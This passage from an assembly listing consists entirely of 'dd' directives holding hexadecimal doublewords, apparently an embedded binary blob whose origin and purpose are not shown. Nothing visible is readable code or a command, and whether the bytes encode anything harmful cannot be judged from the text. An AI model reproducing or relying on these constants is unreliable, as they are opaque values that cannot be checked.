0B7F78E00h, 2524Fh, 0FD485033h, 0E6AC9ED9h, 0EB9D29C0h dd 7DC8641h, 2916AB05h, 1ADF500Bh, 2303B399h, 114B85A0h dd 587DA0F9h, 0BD140060h, 668333E2h, 0FD006A96h, 0F854E628h dd 0E824Ch, 7BC907EAh, 0B67DBFB9h, 33EAC1Fh, 0E0012D8Eh dd 9DF5098h, 301A0EA4h, 92E1E1E9h, 2B1C9E10h, 0EFAB7500h dd 0A8E523h, 0B5D495C8h, 0FC3ADF02h, 802D303Dh, 0AFC2C389h dd 5E19FBh, 79F38B5Fh, 5568C543h, 9DEAEC01h, 9675824Ah dd 2A35DDCCh, 0D8BAC6h, 0F285FA07h, 2A72022Bh, 0A6A80300h dd 31B07DA7h, 74060F48h, 0C74045DBh, 4C17943Bh, 8518771Ch dd 38A18600h, 0C067ECD1h, 4893760Ch, 629D37C6h, 814080F2h dd 3017CBF9h, 1D10B835h, 56013E77h, 24E1B469h, 482448EEh dd 0B96C0C1Ah, 0C288D10h, 0A913E1FAh, 0FE01A0BFh, 668F914h dd 0D8F2E480h, 78F6A2Fh, 0A100EDF0h, 41CE1346h, 1F3EEAC2h dd 0B937D4E6h, 60D0A27Bh, 192D7071h, 0D01F6B97h, 12F6CC93h dd 0FB0F0705h, 0B200F4C8h, 6FF090Ah, 0AAE22CA0h, 29220099h dd 39DC0197h, 8D004CEEh, 36940D28h, 901652F4h, 4850C59Ch dd 72B70053h, 0CA9CAD8Ch, 6D1B3F00h, 0F8FAB78Eh, 0D90F0058h dd 7996F057h, 34068552h, 1DD60865h, 41F1F40h, 9B6C413Ah dd 0E85D026Ah, 0C2FA1A61h, 4A025490h, 99895347h, 49A80ADh dd 0F6672AFBh, 0C3312410h, 0DA7F003Ch, 0F89507F1h, 39B6000h dd 2B049F88h, 630C04BCh, 8168C328h, 0D86AE74Ch, 1F3E5EBEh dd 2F53806Dh, 0BCAD43E2h, 3BE6A077h, 69CA062h, 0FB130042h dd 0ABCA8358h, 357DE91Dh, 6E256100h, 5B1C451Bh, 7D84F413h dd 0CE911C88h, 39E100F5h, 92C3952Ah, 10CB9C04h, 0BAC33B1Bh dd 5EC0D0B9h, 7A4A1EB6h, 878D5DB3h, 2F1E9561h, 4B81310Eh dd 40A320D6h, 12B83CCDh, 81985D0Eh, 71CCE059h, 67EAC7h dd 4B700A7Ch, 6038C8E0h, 52E92800h, 0B6038331h, 74D307D7h dd 2CFC08Ch, 0B4807FFDh, 0F70A70FAh, 9C265804h, 6680979Bh dd 0B0B1401Bh, 1D2C300Dh, 0AC70AF10h, 17F01A00h, 583055EBh dd 51920032h, 6DB88A10h, 4300A459h, 899E2537h, 9D76C9Dh dd 7ED0A68h, 0A7526001h, 9804FC8Fh, 48902875h, 0A263F704h dd 5C803A7Fh, 0DAE90Ah, 0E2A6EDFDh, 2AC12D3Eh, 0A8FC4Dh dd 9327193Bh, 0B28F36h, 121C51CCh, 8C5514F8h, 7F3C58F6h dd 284876h, 0A7CF6471h, 4CD0686Fh, 490408DEh, 0C0748C82h dd 0FF485DBCh, 0AF250400h dd 0DE0FD8F6h, 0EB1C001Fh, 83321EA3h, 0F200874Bh, 40D21AC2h dd 0CDE315h, 0FB74E1CFh, 0DFA7E72Dh, 603B3400h, 52C18303h dd 9280F742h, 0E4B654B7h, 0C40057AEh, 5B5DFA27h, 0A038E146h dd 398DE84h, 1FAC03D2h, 80B82D91h, 4E008F74h, 874D2A37h dd 776F2079h, 18F20BB9h, 770F045Ch, 0CDC4A480h, 9C0066DCh dd 0AC347652h, 0D24596h, 0BB89C62Ah, 0D1F9F5DAh, 6AB9D8C7h dd 0E723DF10h, 0DB32A29h, 0A8D0FFA4h, 379F0062h, 0CDA5A60Ch dd 750EF647h, 0CBF381h, 0B01D2045h, 76590072h, 284A6B99h dd 0B700A304h, 0F6927FD4h, 0E041C711h, 172722Fh, 21FB099Dh dd 3671EC8Dh, 0B2DE072Ch, 0F00EAFCh, 0E36E2FFh, 100B5963h dd 3C156DA2h, 5C00446Eh, 0F5D48195h, 66FDA5h, 2732DE49h dd 9108DCEFh, 0CED7A909h, 0F8790720h, 6F9F6AE0h, 7CBF0112h dd 0A884F6C6h, 4CA820C0h, 0D514A900h, 53BEE06h, 83CB1D8Fh dd 1C1EFDDAh, 0F5BA80C4h, 0A8F7A5EFh, 8B3C3Fh, 2BC17609h dd 0ACDFBDh, 508D9FAAh, 2EA47ECEh, 0CEE2500h, 0FDD47B42h dd 0A779E0h, 9D62C1CCh, 7F3AED08h, 95306800h, 84019B27h dd 97110152h, 92077C70h, 3FA4F422h, 9B483901h, 3C5F2DF6h dd 0F1C0B8F3h, 0FD770088h, 0DFB44082h, 6100D415h, 5BED7EA5h dd 0EA8D4FB5h, 0CB09Ah, 2F17AE60h, 862DD635h, 9145A00h dd 0E128E351h, 0A9540079h, 0A6114233h, 0D27C0566h, 0AC2AA00h dd 5782ED68h, 412A00A2h, 265FEE8Eh, 9C702D43h, 0D62C0A00h dd 0ABFB30CBh, 7FA030DAh, 0E5963C71h, 62D7E001h, 167341E3h dd 282070E1h, 746178E1h, 428F1F2Ch, 186318BFh, 81FF17D9h dd 14721841h, 881FB3Ch, 4A77B508h, 0F002E961h, 30CBFFDh dd 30855540h, 625F18EBh, 0DA0258DBh, 3C910D03h, 0E7EF9960h dd 9A30E086h, 0E5F50764h, 0A2F79D47h, 0C80D9E3h, 18611FFDh dd 3C05D200h, 1AA0459Bh, 0FA3E07BFh, 208878DDh, 96EF6F7Dh dd 97173Bh, 0C0639EA5h, 0B058D96Eh, 74B40705h, 30550729h dd 0B026D1BFh, 0CB10DE00h, 17834C5Bh, 53AB0FCDh, 8A8058DCh dd 0A08DCAD2h, 0FFCFC400h, 92EC192Ch, 221E3D42h, 0B1847780h dd 5E47A8EAh, 8BB2D207h, 16C00F24h, 501E97C3h, 1BC19C7Dh dd 0C9C4089Ch, 0BC042EC5h, 91E308Bh, 90481F10h, 5988ECA3h dd 0D174A01h, 5E187C40h, 4200928h, 0D01B99FAh, 60D4494h dd 4424F044h, 5A44235Dh, 4151488Ch, 794E642h, 2D0028AAh dd 97988AF8h, 3E0344A5h, 85292364h, 77BE4E5Dh, 0F3794323h dd 0D4889383h, 0AC00B2A6h, 0C624D717h, 0B3E89Dh, 2AD38934h dd 0ABF36983h, 71A25Ch, 3228C064h, 2CF5E005h, 77D924h dd 0D2EB0CC5h, 872CA9B7h, 0E700D93Ah, 0B6454A74h, 242F0079h dd 53779D82h, 0D600A44Fh, 0A76DA021h, 1033128h, 8A9F3AB5h dd 0E83029CCh, 1A001D8Dh, 0A01090B3h, 8FAD56h, 6E02AB05h dd 0CC378A2h, 689AD703h, 0E1DD9Bh, 0E876910h, 91F6AEF1h dd 497F503Fh, 2C260E6Ch, 2F36A782h, 0D0F4E7A3h, 35B998h dd 1D5D50C5h, 82FA7DDEh, 0A03748CFh, 17642CF3h, 0F94C0088h dd 0B85EC159h, 0DB003B03h, 678B8CE0h, 68020Bh, 6CFE7C17h dd 0AEB9D363h, 0A2004DB8h, 51869A53h, 907FE679h, 0EF3F000Ch dd 5B20C3F9h, 40065664h, 391BDC9Ch, 13B577B0h, 0BBFCBF76h dd 33B20Eh, 15380AD7h, 230E0958h, 4780B064h, 59C7E3E8h dd 24D67D01h, 0C043DB52h, 0E108BF8h, 9198F79h, 5A1576E0h dd 0D0EAD6Ah, 0E0819DD3h, 1AA397D0h, 30A4003Ch, 496D57C4h dd 5097C7D8h, 72AF00B3h, 0B13BAE20h, 5900D9C2h, 4873FE6Eh dd 856966h, 0B05C76F3h, 0D67E71F2h, 5F927200h, 16386DADh dd 0D2DCC0F7h, 0FE8CE30Ah, 0B597F00Fh, 0DA8A603Dh, 4B5B45h dd 0B14FED80h, 0DFE6EF7Ah, 928ECA00h, 1944DE8Dh, 22F054h dd 76F2E049h, 0C5D974BCh, 0E472832Eh, 14932400h, 6FB51Eh dd 15965FBFh, 0DE9A7AE1h, 0E7D89503h, 7576E975h, 0EFCD0040h dd 0AB18311Ch, 0D4906120h, 7A3D731Eh, 95119B40h, 0F3B8B4h dd 0DFDB3FBBh, 0AFEFF9DAh, 99C73Ch, 0F16CEB17h, 0C8F5Ch dd 0F72A3912h, 13CC1B31h, 93144600h, 55AFC203h, 6D77FAh dd 733358B3h, 0B2767B35h, 0ECF0D598h, 1660800h, 56FB1A8Bh dd 2099388Eh, 0CF24A700h, 48AEBC5Eh, 0E4C58807h, 0B820EE32h dd 0E24F28h, 0B60E5089h, 0F5ECB4DCh, 8EFB7A00h, 0C21F6715h dd 2401002Ah, 0F9CB4AF0h, 5E790F6Dh, 600AC724h, 0B629E600h dd 24805F18h, 158F5B2h, 0EF612EEDh, 82373016h, 6C0B637Fh dd 8E6D595Ah, 20B600F0h, 7336727Eh, 956601A4h, 0E73254Ch dd 0A82BE8D1h, 9C6948C0h, 0C50F5EFh, 378BE199h, 52006019h dd 0FA672228h, 211E9Eh, 0DA803032h, 0EFE7A689h, 7A291018h dd 7EA3A0h, 0AC551A7Ch, 0C61E2885h, 94BFCE24h, 71304F87h dd 0D8395B00h, 88EC3A01h, 727DC100h, 0EE345412h, 0B6016A7Dh dd 0C531F5C3h, 87E8011Fh, 0B06FC24h, 2E9871D1h, 0F4694780h dd 0CB00143Bh, 0FF60477Ah, 565843h, 1C63DE48h, 6DF853B9h dd 0FE23BF00h, 2AC09182h, 43E90013h, 0AB267F2Bh, 55E689F1h dd 0F64D6800h, 0CE1B5B23h, 3F98EA21h, 31006D99h, 62243D8Dh dd 4A0B09ACh, 3C7A5D7h, 98671CD5h, 9861FB0Bh, 27280988h dd 5C003ABFh, 60871252h, 55D9DA00h, 0B3B8FABDh, 290E003Bh dd 59450F44h, 84BA6535h, 87A5ED09h, 0D95EC6h, 0D09749A3h dd 4638E983h, 0F8892E6h, 0EEEAA100h, 114891Ah, 326935E1h dd 0F424E301h, 26090921h, 0B84173h, 804476F8h, 0D2CA0172h dd 29C53386h, 34AFF023h, 0E3A1A803h, 0D8D3950Dh, 249A02h dd 266B20B1h, 33DA18FCh, 120DF70Eh, 2B27207Ch, 638E3Eh dd 312E78E7h, 25FF38C3h, 0E5806D00h, 0F1329664h, 5EC000D7h dd 44286F5Fh, 0A3007B7Ah, 0DBD824A1h, 0C377E9h, 7086E8DAh dd 0E73FCA9Ah, 9BAA5000h, 4C4F3ADEh, 28BC0096h, 6BB4E80Eh dd 0B1355EBDh, 0A0028CCh, 784FE345h, 38A500C6h, 0B7BD39F7h dd 5C1DB44Ah, 0E34059E7h, 0B0D09B9Ah, 52D500FFh, 0A86DF01Ah dd 0E1000814h, 0A74689CAh, 7EA13D8h, 426145BAh, 47261038h dd 18001122h, 873DB094h, 1276CEFCh, 165B2CBh, 2655B49Ah dd 89683080h, 0A80B5904h, 0A1C033BCh, 3FE4D51Bh, 8C01756Ah dd 0DCF57945h, 55C720A3h, 0CB46400Bh, 8089F585h, 0CEB0D280h dd 64004FFBh, 951826C1h, 1E0C11CDh, 0C0660FA4h, 507C68C2h dd 0A0130DACh, 0A604F57Dh, 9280ABF0h, 924C74h, 710CFBB9h dd 2A056911h, 0EBF6E401h, 8196254Ah, 3BC973E8h, 0B07DFC64h dd 0F82B00A2h, 9FCEF7B9h, 0AC009D5Ah, 8F33B326h, 24B84DFh dd 0C74F1367h, 0B880C172h, 0BD46B066h, 2192FD03h, 1C83C63h dd 1CA77918h, 0D4086A13h, 16014737h, 284431E9h, 56D88709h dd 96C000BEh, 0F101BFF5h, 747B4D0Ch, 0F4DE6F09h, 900B80B3h dd 7FB92Ch, 44609BDh, 67E6EA5Fh, 99CCFD00h, 2AC1045h, 0C0941C8Fh dd 20C7C093h, 8AE0313Ah, 300D371h, 0BB4E6CDEh, 4827E866h dd 7730CFh, 0C7B7ED5Ch, 4065F810h, 5218DA60h, 989588ADh dd 0F71A1E8Ch, 7DB500EEh, 0FBE6FEDDh, 4ECBBA00h, 0A8A1365Fh dd 0E451015Eh, 594276DBh, 6B1080A9h, 0A3AD3DCBh, 950B0063h dd 0CE6869Dh, 0B73C69F4h, 8CF52699h, 0EAFE5407h, 1A6EECB0h dd 0FFB600E8h, 0B88D6384h, 0C500DA5Ch, 7CF1C62Bh, 69B4D4h dd 0D3088142h dd 0ADA2F8CDh, 0ECB2E128h, 60F2F40Fh, 3B3EF6Bh, 9872487Bh dd 30A85C56h, 0F958EDADh, 2498B5EEh, 0A7D5F350h, 398A1600h dd 0EFD29D01h, 272B1C8Ch, 332EC00Eh, 99E21E9Ah, 0D7192303h dd 0D79D61D1h, 3EB787E0h, 5D0600D6h, 0B0304C67h, 0B4003AFCh dd 0D087D49h, 71DE66h, 0DF97559Dh, 1BD6DDB8h, 38A47800h dd 0C32EE38Ah, 0E8250367h, 0DAB6E706h, 0BEC046BBh, 210FEF95h dd 0C32360A5h, 0F0A27C82h, 0B8E46Ah, 3A7BBCB7h, 69B0C7EFh dd 59A03100h, 72CD2C1Eh, 5EBE0008h, 1CCCC1CEh, 280022E5h dd 0A5334394h, 0C4FEBh, 0F348C972h, 3B2DA851h, 38BC539h dd 35BC239Ah, 442EF097h, 74280189h, 0E1F36BB2h, 32D5EC98h dd 0FF753B00h, 0BFD6FDB6h, 0EEFAA7h, 310E264h, 6760759h dd 288EA600h, 80A865DBh, 3A470194h, 0CD99F6CFh, 2458E8E5h dd 8041BF3Dh, 4A53872Eh, 7FDB71h, 0D12FF346h, 0B0F8F41Bh dd 731E1001h, 8A63EC6Ah, 43242880h, 0E1B215CAh, 0F7C73F00h dd 6EBA78F2h, 17207CD6h, 0AB2A95h, 2BDE821Ah, 773CA169h dd 50C28F8Eh, 7FE620EAh, 1039A5Ah, 0CA766253h, 0F0E57729h dd 3B00D50Bh, 0A236E964h, 72903556h, 0ABA3C71h, 0AED1C180h dd 0A15CC36Eh, 940F500h, 3227F296h, 29880037h, 4D1002C1h dd 0AF002214h, 345E569Ch, 441EEBh, 68DBBBCFh, 0CD818EA9h dd 0CC2AB628h, 6787C802h, 409FA8BCh, 403E323Ch, 0C4304455h dd 0FBD710E0h, 554009Ch, 0EBD09386h, 0E8FF178Ch, 0EA067670h dd 29E2A58Ah, 0CD1B0050h, 0C2EB7E64h, 0F30770CBh, 0F9420693h dd 7B52B5C1h, 806020h, 31278984h, 108B3E97h, 1E0162E8h dd 0E1908FD3h, 66C83B25h, 0E3A60041h, 0BAFD2F75h, 0A2F05463h dd 16709300h, 0D54A4C46h, 4CCE049h, 79D1104Fh, 0BDC6C165h dd 93218027h, 83ACCB41h, 6DAB0047h, 282D5244h, 5000FF95h dd 0EE3FB023h, 674E7Bh, 41534D4Ah, 56546D58h, 47B1D8EBh dd 6056B3Ch, 6827AD0h, 38700C0h, 791383D2h, 320312D5h dd 96B088B4h, 0FBD4D044h, 0F487009Bh, 0D2EF9AE7h, 851CA978h dd 3700D65Fh, 2E722A45h, 7DF728ACh, 0A1A614D0h, 5D80E8D9h dd 0F86FFB60h, 79C6C02h, 8FACFDB1h, 4A6DA1E9h, 9C20A5F0h dd 3F7700F7h, 0D01B2466h, 0B300E172h, 3BAA78F8h, 4DB9186h dd 0EC40463Dh, 0DDC0FEF0h, 224ACBh, 6054135Fh, 0C8612C36h dd 0C645BC17h, 5B861507h, 435D8810h, 2E6C0002h, 294AEF1Ah dd 1E07E0A1h, 977374C7h, 0C0E4FBE2h, 0DDCF1Ch, 0F9805A83h dd 0F88FACCAh, 408BFE1Fh, 0DD259C0Fh, 5C64A740h, 76DA1AFh dd 0E759D698h, 0A360EE35h, 0A6E62632h, 3DB5A700h, 0D3EF550Ch dd 0C89E0084h, 8C23097Fh, 13D2E1Fh, 25F78754h, 67C0DB3Eh dd 36AC55h, 229CC32Ah, 52C863F1h, 61718600h, 0B8CDF10h dd 0C7D4B019h, 90E1CC18h, 271474E5h, 3D0003E8h, 0B573E032h dd 0F77D2h, 0CCF412F5h, 0D344F12Dh, 858C080Eh, 0EF7646h dd 1C278DA7h, 92002D0Bh, 82786776h, 7C6B24DFh, 0DEDA0087h dd 0D359F3E3h, 533D2F9Dh, 2B3C0217h, 0C0A54D25h, 28B760D1h dd 0EDAA31h, 2ECDBCA6h, 97741506h, 58CEFB1Eh, 0A117E280h dd 7C51BA49h, 0EC663F91h, 0DC809000h, 0C50DDDA5h, 0A81B5000h dd 4F61F68Eh, 0C98F0083h, 8CB1E47Bh, 4501D9EFh, 5988DFB7h dd 0F4209474h, 91600B9h, 0BD71184Ah, 0B700291Eh, 6652DCC8h dd 4E1BF79h, 5115ED59h, 1670802Ah, 0EB18172Bh, 981024DDh dd 0C0FC1202h, 27AF0383h, 1800254Eh, 0D813FFD3h, 0AE57DBh dd 7741A684h, 7E8E31B8h, 8611A509h, 6A9C80BAh, 0F904C9h dd 88BD2C91h, 26023210h, 0BF457D00h, 18CD82C1h, 246B4D63h dd 0E64C2C02h, 0EC409506h, 0E2004E9Ah, 0C91D8E71h, 85CED3h dd 92363AC7h, 0F1F80E8h, 53D03107h, 5770FC8Dh, 0C8E41Eh dd 0E086FB9Bh, 6752F305h, 0E5754400h, 4E6ECC26h, 0E0B07DD6h dd 97C4077Ah, 60421ED4h, 36DE403Ah, 83077305h, 0A481CCA0h dd 2830C858h, 7147916h, 0ACA12D1Ah, 8EF7B07Eh, 0CA2CB3C3h dd 681CE4CFh, 0FFC07B9Ch, 0DFDC6A02h, 0D61A1B56h, 0D8B8212Fh dd 9EFB9A92h, 99803511h, 1E5CB1D3h, 8474002Ah, 5F9BB057h dd 0A81FE93Ah, 4980190Eh, 8672A7EDh, 4B6105BDh, 80D0FC3Fh dd 0ED22238h, 45CED11Ch, 62A3F4C0h, 83E01Bh, 6E3178C2h dd 4126E766h, 4340E900h, 63346412h, 9AFCF2h, 0F5241F81h dd 5584A6ABh, 89740F00h, 4AB9AABFh, 8EDE005Dh, 0C5DF1F8Dh dd 0DC0B33B8h, 8030BE63h, 0C683AFB2h, 14B700ABh, 662F1D95h dd 9D7B2926h, 1B262AF2h, 0C4007035h, 0EA0E985Dh, 0E23A051Dh dd 88C85Ah, 9994EC8h, 0E007C310h, 0EC735F65h, 0FF7D5940h dd 7F0A0A8Fh, 194BBF5h, 8813A24Bh, 7CC440C0h, 0A94B02DBh dd 0E9C59F00h, 19F3822h, 840C28DDh, 80BA89FFh, 0A61C5738h dd 51A794Ah, 4CF77CA0h, 659C0917h, 0F33B2820h, 3E00D814h dd 275C1387h, 0F5C692h, 22AC7F93h, 0B6880F84h, 0F0D94F01h dd 64FD1ED3h, 3869B840h, 39AD7E08h, 77165327h, 4B7200F1h dd 0A9E0F2DAh, 910D4707h, 805BA181h, 7725A78Ch, 96CD07D0h dd 0F09FAFD9h, 0F0B06960h, 0A7F10D00h, 54B29AA3h, 7F6D0045h dd 0DF66B862h, 2D007150h, 4167A426h, 65604ECh, 0A048AC07h dd 3F00D1F3h, 0CB5A5C0Dh, 66BC6Fh, 861C31A4h, 0BA7C3E8Bh dd 6E8E7200h, 0BB368710h, 38BD7AFBh, 9AD09E19h, 7B7D1CC8h dd 0D40A40D9h, 4E8EC9A5h, 3C125Ch, 639702D2h, 22EB93h dd 1D550FF0h, 787DE410h, 0F30DB91Dh, 0DF9F64C0h, 795F7A2Ah dd 346000CBh, 0CA1129A7h, 7D00FAB2h, 62440EFh, 6C3596h dd 605A0E37h, 9A03F47h, 0EC4ABB00h, 80BB833h, 209C009Ah dd 6A84B0BFh, 8C003FB5h, 0C4AD905Bh, 0A067ACh, 33CE226Bh dd 602A4894h, 0F01F501h, 64C81573h, 0EA9D108Eh, 8CAA1C40h dd 930054C2h, 0AC583AA6h, 4C0B6C29h, 890F5CDAh, 7CA0B67Dh dd 0DE9A5321h, 377AD200h, 0A484C71h, 474000ACh, 0AF745A49h dd 5D4D5F7Bh, 0DE0B00ACh, 0D314558Dh, 0F456078Ch, 90983867h dd 3475B7E2h, 31038CA0h, 0DECFC12h, 8176670Bh, 0A661F71Bh dd 162C220h, 6B8D66A5h, 200455FCh, 110041ABh, 0A5AA873h dd 17FD9A87h, 32F3712h, 25A12A5Ch, 33BE7790h, 1E60E91Bh dd 0A88CA068h, 2B89452h, 142BA995h, 0D0971068h, 91764500h dd 0A2530B59h, 0EAEF0751h, 800AC1C6h, 0D4492687h, 6A20D860h dd 0C7291Ah, 0EF2DEDAAh, 53C87A73h, 2879D501h, 99AE5188h dd 0B394180h, 4F976854h, 92DFF100h, 94CDF6D6h, 59D718F2h dd 0EDD0282Ch, 0FC54AD24h, 0A986321Dh, 0C06984C9h, 0DBF75D20h dd 813B7F41h, 1D6F819Dh, 33A0231Fh, 0EB509880h, 0B10FCBE6h dd 93BC3903h, 899C7CECh, 0A4D1F361h, 0F90920h, 0E5AE868Eh dd 0BB2974FAh, 0BE7C3600h, 44EABD5Dh, 0CAA200B4h, 0AC7E5EECh dd 273762ADh, 0BB608111h, 0CA2DD739h, 40042C11h, 0E9AE6726h dd 780009F8h, 4BEDB75Eh, 0CD9437h, 0AD73976Ah, 8D577E31h dd 35DDA901h, 5AC99A0Eh, 1EAC3730h, 804456BAh, 0EC8DB415h dd 0AD001267h, 0F1BF8128h, 0B83AE669h, 7F7600D9h, 65664A9Ah dd 6E015E6Fh, 89AF4F15h, 0EEC887D6h, 0BBFA62h, 50540DABh dd 5D6308A0h, 0A2FDAA00h, 0D05EA1F8h, 76070F09h, 5360E649h dd 6F362BFBh, 95BCC31Eh, 809FECC9h, 0F073B2C8h, 0D45E1E3Ah dd 143C802Bh, 685AFC25h dd 2474E2F0h, 138B2D00h, 0E9E71271h, 0F618007Bh, 0E6567AEAh dd 0BA009EB8h, 685FF91Dh, 0EC411038h, 3B7C7Ch, 11FB6A63h dd 0D44CF398h, 0C5EDF600h, 49CC96E4h, 308700ADh, 0C34E591h dd 6300E118h, 0A82761FFh, 712853CDh, 41CE0009h, 847B5A3Dh dd 0BB0032E5h, 0D13987E9h, 3BD99E03h, 0F505223Ah, 4A0A06CFh dd 0A0BDDCh, 0F1EBCDA3h, 2F445213h, 0C5B00BFh, 0A25A4BDh dd 0CE00C18Dh, 8816D9D3h, 0F798EF8h, 0F01853FFh, 38402880h dd 3D004EE2h, 19D3E1ADh, 12532529h, 218CD903h, 0C033AC0Ch dd 0F800FF36h, 98096A37h, 0DAE39h, 2AC3E9E0h, 0B8DFED63h dd 0E3271E01h, 8904F6D8h, 0C4EBC8h, 1D32A3B5h, 72AF8308h dd 0A6D43000h, 6739CB97h, 76F9004Ah, 9C232933h, 4878083Eh dd 38DC60C0h, 39F0AB1Eh, 0F800E283h, 7B46E6E3h, 0B076885h dd 3686423Eh, 0D1F206E0h, 0B99D00BBh, 4B9F75E4h, 32007C41h dd 0F4888234h, 772AD36h, 0CDCC4F91h, 442A90E0h, 0D4A1ACE6h dd 0AACBF443h, 0A8F484F6h, 0EA809E03h, 0C7A1ADA0h, 0F3552440h dd 0A970001Eh, 44F96DD4h, 9400F8B1h, 0BE460A7Eh, 7BBF5Eh dd 0ADC46272h, 0F65B790h, 0D8C5DE2Ah, 9C7F8A00h, 96677C4Ch dd 89E44Dh, 0E206D44Bh, 7723B753h, 0BCA8D60Fh, 0E0D92E69h dd 75E329F9h, 38DF00B4h, 7F55E40h, 420092FFh, 0EA4F9A65h dd 0EEF019h, 0B96D6B4h, 1354B7Dh, 0EFB97109h, 6D8E001Dh dd 3D420644h, 0ECC8433Dh, 0AB0E2C39h, 0A40E6EE8h, 4DC60880h dd 0D80376DAh, 0ED77C74Bh, 0DC86E8E2h, 70F7010Eh, 0B568E601h dd 0E809D1D9h, 6404E302h, 0AD40B4A1h, 0D80BC87h, 9683387h dd 9BB64D7Eh, 53A86007h, 88B81E9Ch, 0B801373Fh, 4D7450A0h dd 2820346Ah, 0AFD512F7h, 0A25C0032h, 17547508h, 0DE244892h dd 108340D0h, 900DFFA5h, 90E0158h, 6A958660h, 9D1E7820h dd 9800A8BEh, 48D53780h, 67E23Fh, 28428A2Ah, 617DFFE7h dd 0B6FA8F00h, 70DFE402h, 0BE8124D7h, 51248764h, 9A85008Eh dd 0EC0030D2h, 944DE6BDh, 1407AE5h, 24C53D8Ch, 0F4817B62h dd 5A03E7AEh, 4EF880BAh, 47259875h, 9760C30h, 0EC18BB49h dd 8A5E1700h, 0D38D3E58h, 615133AEh, 5BF0C540h, 0FA005C8Ch dd 0C47F7933h, 57BDE1h, 703DB8C3h, 0D7F1883Eh, 0BFA6DF00h dd 94FE6E60h, 0FF690073h, 35BC1249h, 0F31E405Dh, 0E680C029h dd 3786B9EBh, 27560065h, 69D576AEh, 0F902BE11h, 708910FAh dd 9844402Fh, 0A2910050h, 81DE3C31h, 1700BB07h, 83898465h dd 2DE8BCh, 1121FFB1h, 6437B57Bh, 0E3A82000h, 2235A63Ah dd 0D3D000E7h, 0B770CECAh, 0F400ADF7h, 2E826CD6h, 3AFC84h dd 6604D1A2h, 0DA0E1753h, 487A39h, 35980760h, 0B03F436Dh dd 0C06B03E9h, 954FD6FDh, 0C518EA02h, 4966C1B5h, 99E8C754h dd 0FF9009Bh, 50566144h, 4214F2C9h, 0D0EEDBh, 0D99BAF65h dd 80836Dh, 59DEFBB1h, 0C8E27C32h, 7B293Dh, 9AA119E3h dd 0D58535h, 2EDAFE0Eh, 50758B63h, 2AEACD00h, 4276B9B7h dd 317F690h, 6ABD4D9Dh, 4AE05C48h, 0F500DDA0h, 19206C98h dd 7FD347DCh, 0B87D00DEh, 0BC507D9h, 8100CF21h, 0AF6A784Ch dd 0ADA903h, 3693B01Ah, 0B6E9676Bh, 0D6EF5200h, 14E19781h dd 359F0D8h, 46238D62h, 5D81C64Eh, 0E87AE53Ch, 0D200830Dh dd 0F769A2E2h, 17AC12h, 0DBABEF53h, 0D8DAE662h, 1F3E2A0Fh dd 0E31C8E7Ch, 2B6C648h, 4A30E5C2h, 0D180A7DDh, 0F373AA29h dd 0AF5EC800h, 1DFF2EB1h, 39F698h, 9BCFC17Bh, 0A34B19B2h dd 6F4A7100h, 385D8A0Ah, 836000F4h, 486CBB3Ch, 0C37F3FAAh dd 30B21E1Eh, 9F3F9CDEh, 0EF8047D4h, 0F625CA5Eh, 0ACCB042Eh dd 0C24C6D0Ah, 4BE28A44h, 0C6A78200h, 2B004D62h, 2018512Fh dd 999D1Dh, 0B2A69106h, 1FEB108Ah, 0F98D4E00h, 0D1B08489h dd 0D62B00C2h, 6A42A749h, 601139Dh, 0DBCD6F96h, 0BBC4DF3Ch dd 60080085h, 7A7F2103h, 431C1B97h, 1E4F7781h, 426503E6h dd 0A19990DAh, 0C241C0B6h, 7A2FBB76h, 18BD6100h, 803C87A3h dd 0DEB0073h, 0C0D12CF0h, 80B58307h, 7B750B54h, 3B223D24h dd 8800443Bh, 6AE52787h, 3000A06Bh, 0CC6F92B1h, 0E18D78h dd 7A7B09DBh, 6B1C011Dh, 821A340Dh, 0AE8E0C7h, 96D03F2Ch dd 589874h, 459BA885h, 0A3C78DC4h, 24003890h, 329023BEh dd 8FE9FFh, 8B054031h, 151292ADh, 0C89430Fh, 7A4C6013h dd 15B3F1Fh, 62561C7Bh, 0D5546624h, 57933020h, 0A15CE8FEh dd 0C9F61D24h, 0BF8850B8h, 0C4B25C18h, 1074871h, 0C7CC76CAh dd 31D41E40h, 6442F011h, 151DEA0Dh, 0ACE0288Ah, 868B00E9h dd 0C403FEB0h, 74053671h, 0D9F0E694h, 0F5EA80FEh, 2F7BA3C9h dd 8361C06Fh, 0B18268DEh, 49F8DC92h, 116A6006h, 0AA8FFB64h dd 80D9783Fh, 2CF98A1Eh, 548DE995h, 7BC42849h, 0E1D900D1h dd 503FF2ABh, 443D0456h, 1B338113h, 741FD6D5h, 32B4570h dd 0AB8DDAC1h, 28FB4092h, 0E2C27F88h, 0EB8E3E09h, 0C34E00D9h dd 1E4FB14Bh, 0C0249E65h, 0DB6D481Dh, 0D3B0428Ch, 27AF5F00h dd 989DACB6h, 0E8CBE402h, 537D00A3h, 74E90AC9h, 1700D961h dd 0ED7C7E47h, 0F358F6h, 3268284Fh, 739CAF24h, 88514200h dd 252DF9EAh, 0D0D968C7h, 0F004238Ch, 0DC60EE22h, 0B48FE810h dd 0CB090EE0h, 0FE20457Ah, 5FE6C499h, 77CD0E0h, 67F5C007h dd 2CC10405h, 9F474649h, 0E019EEC0h, 2C9E502Fh, 0D1203F8Eh dd 7250E1B1h, 18A0086Dh, 29DC78F2h, 9D75262Ch, 0F267BCA1h dd 0F6ED80DFh, 0F5EAA576h, 6ACAAECh, 48BAC931h, 0AD5461E3h dd 0DE403460h, 9C9D188Eh, 3F9F1989h, 5A8711Fh, 93F6C642h dd 7D7098AAh, 7B9480F5h, 34AD63Ah, 0A44805E2h, 0B5E810F0h dd 0AE61F04h, 0C98047DEh, 0F364B072h, 78C34479h, 0F8ABE315h dd 0ED48804Ch, 7C25D5EFh, 453E1874h, 9EFCA973h, 31C79C22h dd 0B6F8FA8Eh, 42A89EC8h, 38FD3B8Ch, 0E5C03071h, 1AA39FC1h dd 39C89E31h, 8EE84AE9h, 0C5C4841h, 8246677h, 840021CFh dd 0F6C9F02h, 3CC4732h, 0A864FF97h, 689E7F29h, 364CBD34h dd 4E2BC07h, 182083A3h, 6819D210h, 2972B0E4h, 201BC8A3h dd 398DBFBh, 0C8DCA3C9h, 5040D579h, 4D60EDE4h, 3A6F340h dd 146F12ACh, 7C1C0178h, 40FD7155h, 0EEDD89B8h, 0F4615612h dd 9A9C3040h, 0F347B5h, 6635E223h, 2B3DA7E5h, 8C00D37Ah dd 0BFAD9AD7h, 511FF9h, 390171B4h, 4D926948h, 80167938h dd 8C88D6CBh, 0C140ECh, 36552077h, 0B8EE5A29h, 84C76300h dd 4BED7BFEh, 